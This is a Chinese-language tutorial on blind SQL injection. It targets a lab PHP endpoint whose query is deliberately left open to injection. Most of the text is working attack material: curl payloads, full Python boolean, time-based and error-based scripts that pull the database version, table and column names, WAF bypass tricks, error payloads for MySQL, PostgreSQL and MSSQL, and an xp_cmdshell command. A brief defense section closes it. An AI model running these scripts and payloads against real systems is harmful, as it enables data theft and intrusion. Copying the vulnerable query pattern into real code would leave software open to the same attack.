一、盲注的定义

盲注(Blind SQL Injection) 是指注入后页面没有直接显示数据库返回的数据,但仍然存在可被观察的信号,让攻击者通过"猜"的方式获取数据。三种主流技术:布尔盲注(页面真假差异)、时间盲注(Sleep延时判断)、报错注入(利用错误信息泄露)。

二、靶场场景设置

2.1 存在漏洞的登录检查接口

<?php
$username = $_GET['username'];
$conn = new mysqli('localhost', 'root', 'root', 'shop');
$sql = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $conn->query($sql);

if ($result && $result->num_rows > 0) {
    echo "USER_EXISTS";
} else {
    echo "USER_NOT_FOUND";
}
// 没有任何错误信息返回!

三、布尔盲注

3.1 核心原理

把注入语句构造成条件判断语句,利用条件为真/假时页面表现不同来判断条件是否成立。

3.2 注入 payload 分析

# 注入永真条件
curl "http://192.168.1.100/api/check_user.php?username=admin' AND '1'='1"
# USER_EXISTS — 真条件

curl "http://192.168.1.100/api/check_user.php?username=admin' AND '1'='2"
# USER_NOT_FOUND — 假条件

# LIMIT 确保逻辑可控
curl "http://192.168.1.100/api/check_user.php?username=admin' AND (SELECT COUNT(*) FROM users LIMIT 1) > 0-- -"
# USER_EXISTS

curl "http://192.168.1.100/api/check_user.php?username=admin' AND (SELECT COUNT(*) FROM users LIMIT 1) > 999999999-- -"
# USER_NOT_FOUND

3.3 猜解策略:二分查找 vs 逐位爆破

逐位爆破(ASCII 轮询)

# 猜第 1 个字符(ASCII 97='a', 98='b', ... 直到 115='s')
for code in $(seq 97 122); do
  result=$(curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND ASCII(SUBSTRING(DATABASE(),1,1))=$code-- -")
  if [ "$result" = "USER_EXISTS" ]; then
    echo "第1位: $(printf '\\x%02x' $code)"
    break
  fi
done

二分查找(推荐)——最多 7 次请求确定一个 ASCII 字符:

def guess_char(url, pos):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = f"admin' AND ASCII(SUBSTRING(DATABASE(),{pos},1))>={mid}-- -"
        r = requests.get(url, params={'username': payload})
        if 'USER_EXISTS' in r.text:
            low = mid + 1
        else:
            high = mid - 1
    if high >= 32:
        return chr(high)
    return None

# 猜数据库名
for pos in range(1, 20):
    ch = guess_char("http://192.168.1.100/api/check_user.php", pos)
    if ch is None:
        break
    print(ch, end='', flush=True)
print()

3.4 完整布尔盲注脚本

#!/usr/bin/env python3
"""布尔盲注自动化脚本 - 仅用于授权渗透测试"""
import requests
import time
import sys

class BooleanBlind:
    def __init__(self, url, true_marker="USER_EXISTS"):
        self.url = url
        self.true_marker = true_marker
        self.session = requests.Session()
        self.stats = {'requests': 0, 'start': time.time()}
    
    def query_true(self, condition):
        payload = f"admin' AND ({condition})-- -"
        r = self.session.get(self.url, params={'username': payload})
        self.stats['requests'] += 1
        return self.true_marker in r.text
    
    def guess_char(self, sql_expr, pos):
        if not self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) IS NOT NULL"):
            return None
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            if self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1))>={mid}"):
                low = mid + 1
            else:
                high = mid - 1
        return chr(high) if high >= 32 else '?'
    
    def extract_string(self, sql_expr, max_len=128):
        result = []
        for pos in range(1, max_len + 1):
            ch = self.guess_char(sql_expr, pos)
            if ch is None:
                break
            result.append(ch)
            print(ch, end='', flush=True)
        print()
        return ''.join(result)
    
    def extract_number(self, sql_expr, low=0, high=1000):
        while low <= high:
            mid = (low + high) // 2
            if self.query_true(f"({sql_expr})>={mid}"):
                low = mid + 1
            else:
                high = mid - 1
        return high
    
    def run(self):
        print("[*] === 布尔盲注渗透 ===")
        print("[*] 版本: ", end='')
        version = self.extract_string("SELECT @@version")
        print("[*] 数据库: ", end='')
        db = self.extract_string("SELECT database()")
        
        table_count = self.extract_number(
            "SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()",
            low=0, high=50
        )
        print(f"[*] 表数量: {table_count}")
        
        for i in range(table_count):
            print(f"[*] 表{i+1}名称: ", end='')
            table_expr = f"SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {i},1"
            table_name = self.extract_string(table_expr)
            
            col_count = self.extract_number(
                f"SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}'",
                low=0, high=30
            )
            for j in range(col_count):
                col_expr = f"SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}' LIMIT {j},1"
                col_name = self.extract_string(col_expr)
                print(f"    列: {col_name}")
        
        elapsed = time.time() - self.stats['start']
        print(f"[+] 完成!{self.stats['requests']} 请求, {elapsed:.1f}s")

if __name__ == '__main__':
    url = sys.argv[1]
    blind = BooleanBlind(url)
    blind.run()

3.5 布尔盲注绕过技巧

双写绕过(有些 WAF 只替换一次):

admin' ANANDD 1=1-- -
admin' OORR 1=1-- -

用 + 代替空格(URL 编码后):

username=admin'+AND+1=1--+-

用括号代替空格

admin'AND(1=1)-- -

绕过引号过滤(用 CHAR 和 CONCAT):

admin' AND username=CHAR(97,100,109,105,110)-- -
admin' AND username=0x61646d696e-- -

四、时间盲注

4.1 核心原理

当页面返回内容完全相同但响应时间可控时,用 SLEEP() 或类似延时函数传递布尔信息。

4.2 不同数据库的延时函数

数据库 函数 示例
MySQL SLEEP(N) / BENCHMARK(N, expr) SLEEP(3)
PostgreSQL pg_sleep(N) pg_sleep(3)
MSSQL WAITFOR DELAY '0:0:N' WAITFOR DELAY '0:0:3'
Oracle DBMS_LOCK.SLEEP(N) DBMS_LOCK.SLEEP(3)

4.3 条件延时 payload

# MySQL:条件延时
time curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND SLEEP(3)-- -"
# real 0m3.2s — 延时被触发

# MySQL:IF 函数
time curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND IF(username='admin', SLEEP(3), 0)-- -"
# real 0m3.2s — admin 用户存在

# PostgreSQL
time curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND CASE WHEN current_user='postgres' THEN pg_sleep(3) ELSE pg_sleep(0) END-- -"

4.4 时间盲注脚本

#!/usr/bin/env python3
"""时间盲注脚本 - 仅用于授权渗透测试"""
import requests
import time
import sys

class TimeBlind:
    def __init__(self, url, sleep_time=3):
        self.url = url
        self.sleep_time = sleep_time
        self.session = requests.Session()
        self.stats = {'requests': 0, 'start': time.time()}
    
    def query_true(self, condition):
        payload = f"admin' AND ({condition}) AND SLEEP({self.sleep_time})-- -"
        start = time.time()
        r = self.session.get(self.url, params={'username': payload})
        elapsed = time.time() - start
        self.stats['requests'] += 1
        return elapsed > self.sleep_time * 0.7
    
    def guess_char(self, sql_expr, pos):
        if not self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) IS NOT NULL"):
            return None
        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            if self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1))>={mid}"):
                low = mid + 1
            else:
                high = mid - 1
        return chr(high) if high >= 32 else '?'
    
    def extract_string(self, sql_expr, max_len=64):
        result = []
        for pos in range(1, max_len + 1):
            ch = self.guess_char(sql_expr, pos)
            if ch is None:
                break
            result.append(ch)
            print(ch, end='', flush=True)
        print()
        return ''.join(result)
    
    def run(self):
        print("[*] === 时间盲注渗透 ===")
        print("[*] 版本: ", end='')
        version = self.extract_string("SELECT @@version")
        print("[*] 数据库: ", end='')
        db = self.extract_string("SELECT database()")
        elapsed = time.time() - self.stats['start']
        print(f"[+] 完成!{self.stats['requests']} 请求, {elapsed:.1f}s")

if __name__ == '__main__':
    blind = TimeBlind(sys.argv[1])
    blind.run()

五、报错注入

5.1 核心原理

当页面显示数据库错误信息时,利用某些 SQL 函数的特性让目标数据"塞"到错误信息里泄露。

5.2 MySQL 五大报错函数详解

1) updatexml(版本 5.1+)

UPDATEXML(xml_target, xpath_expr, new_value)
-- xpath_expr 格式错误时,错误信息会显示它的值
curl "http://192.168.1.100/api/check_user.php?username=admin' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -"
# XPATH syntax error: '~root@localhost~'

2) extractvalue(版本 5.1+)

EXTRACTVALUE(1, concat(0x7e,(SELECT database()),0x7e))
curl "http://192.168.1.100/api/check_user.php?username=admin' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -"
# XPATH syntax error: '~shop~'

3) floor + rand + group by(经典报错)

原理:rand()group by 组合触发 "Duplicate entry" 错误。

SELECT count(*), concat((SELECT user()), 0x7e, floor(rand(0)*2)) x
FROM information_schema.tables GROUP BY x
curl "http://192.168.1.100/api/check_user.php?username=admin' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT user()),0x7e,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
# Duplicate entry 'root@localhost~0' for key 'group_key'

4) exp(溢出报错,版本 5.5.5+)

SELECT exp(~(SELECT * FROM (SELECT user())x))

5) GTID 注入(版本 5.6+)

SELECT GTID_SUBSET((SELECT version()),1)

5.3 报错注入注意事项

  • 返回数据长度有限制(updatexml 约 31 字节),长数据需要 SUBSTRING 分段
  • 有些函数在新版本中被限制或移除
  • 错误信息必须能被攻击者看到

5.4 报错注入脚本

#!/usr/bin/env python3
"""报错注入脚本 - 仅用于授权渗透测试"""
import requests
import re
import sys

class ErrorBasedBlind:
    def __init__(self, url):
        self.url = url
        self.session = requests.Session()
    
    def extract_via_updatexml(self, sql_expr):
        payload = f"admin' AND updatexml(1,concat(0x7e,({sql_expr}),0x7e),1)-- -"
        r = self.session.get(self.url, params={'username': payload})
        match = re.search(r"XPATH syntax error: '([^']+)'", r.text)
        if match:
            return match.group(1).replace('~', '')
        return None
    
    def extract_string(self, sql_expr, max_len=128):
        result = []
        offset = 1
        while offset <= max_len:
            chunk = self.extract_via_updatexml(
                f"SELECT SUBSTRING(({sql_expr}),{offset},31)"
            )
            if not chunk:
                break
            result.append(chunk)
            offset += 31
            print(chunk, end='', flush=True)
        print()
        return ''.join(result)
    
    def run(self):
        print("[*] === 报错注入渗透 ===")
        print("[*] 当前用户: ", end='')
        user = self.extract_string("SELECT user()")
        print("[*] 当前数据库: ", end='')
        db = self.extract_string("SELECT database()")

if __name__ == '__main__':
    eb = ErrorBasedBlind(sys.argv[1])
    eb.run()

六、三种盲注技术对比

维度 布尔盲注 时间盲注 报错注入
速度 快(毫秒级) 慢(秒级) 最快(一次请求拿数据)
稳定性 中(网络延迟干扰) 低(依赖错误显示)
适用场景 真假页面差异 完全无回显 有错误信息回显
被防护概率
请求数量 O(N*7) O(N*7) O(N/31)

选择策略:报错注入 > 布尔盲注 > 时间盲注。

七、PostgreSQL 特有的盲注技巧

7.1 报错注入

PostgreSQL 没有 updatexml/extractvalue,但可以用类型转换:

-- 类型转换错误
admin' AND (SELECT CAST((SELECT version()) AS int))-- -
-- invalid input syntax for type integer: "PostgreSQL 15.4..."

-- 除以零
admin' AND (SELECT 1/(SELECT 0))-- -

-- 数组越界
admin' AND (SELECT (SELECT ARRAY[1,2,3])[999])-- -

7.2 时间盲注

admin' AND CASE WHEN current_database()='shop' THEN pg_sleep(3) ELSE pg_sleep(0) END-- -

7.3 PG 的 RAISE EXCEPTION(需 PL/pgSQL 权限)

DO $$ BEGIN RAISE EXCEPTION '%', (SELECT version()); END $$;

八、SQL Server (MSSQL) 盲注技巧

8.1 报错注入

-- CONVERT 溢出
admin' AND CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
-- Conversion failed when converting the nvarchar value 'products' to data type int.

8.2 时间盲注

admin'; IF (SELECT TOP 1 DB_NAME())='shop' WAITFOR DELAY '0:0:3'-- -

8.3 MSSQL 的 PRINT 注入(需 xp_cmdshell)

; EXEC xp_cmdshell 'echo sqlmap_test> C:\test.txt'-- -

九、性能优化

9.1 一次判断多位(减少请求)

# 用并行请求
from concurrent.futures import ThreadPoolExecutor, as_completed

def extract_parallel(url, positions):
    with ThreadPoolExecutor(max_workers=10) as pool:
        futures = {pool.submit(guess_char, url, p): p for p in positions}
        results = {}
        for future in as_completed(futures):
            results[futures[future]] = future.result()
        return [results[i] for i in sorted(results.keys())]

9.2 用 REGEXP/RLIKE 缩小范围

-- 匹配范围缩小到 a-g
admin' AND SUBSTRING((SELECT user()),1,1) RLIKE '^[a-g]$'-- -

9.3 多字节同时判断

admin' AND CONCAT(SUBSTRING((SELECT user()),1,1),SUBSTRING((SELECT user()),2,1)) >= 'ro'-- -

十、防御盲注

10.1 关闭错误回显

ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
error_reporting(E_ALL);

set_error_handler(function($errno, $errstr) {
    error_log("Error [$errno]: $errstr");
    return true;
});

10.2 限制响应时间

set_time_limit(10);
ini_set('max_execution_time', 10);

// MySQL 查询超时
$conn->query("SET SESSION max_execution_time = 10000");

10.3 WAF 检测

检测 SLEEP/BENCHMARK/WAITFOR DELAY 延时函数,updatexml/extractvalue/floor 报错函数。

10.4 随机响应延迟(反制时间盲注)

usleep(random_int(0, 500000));  // 0-500ms 随机延迟

10.5 页面统一化

让真假条件返回完全相同的页面,只在后端日志中区分。


盲注是攻防对抗中最常见的场景。只要还存在一点点可观察的差异——无论真假页面、响应时间还是错误碎片——就存在被盲注的可能。防御的核心是:消除所有可被观察的差异,加上严格的输入验证和预编译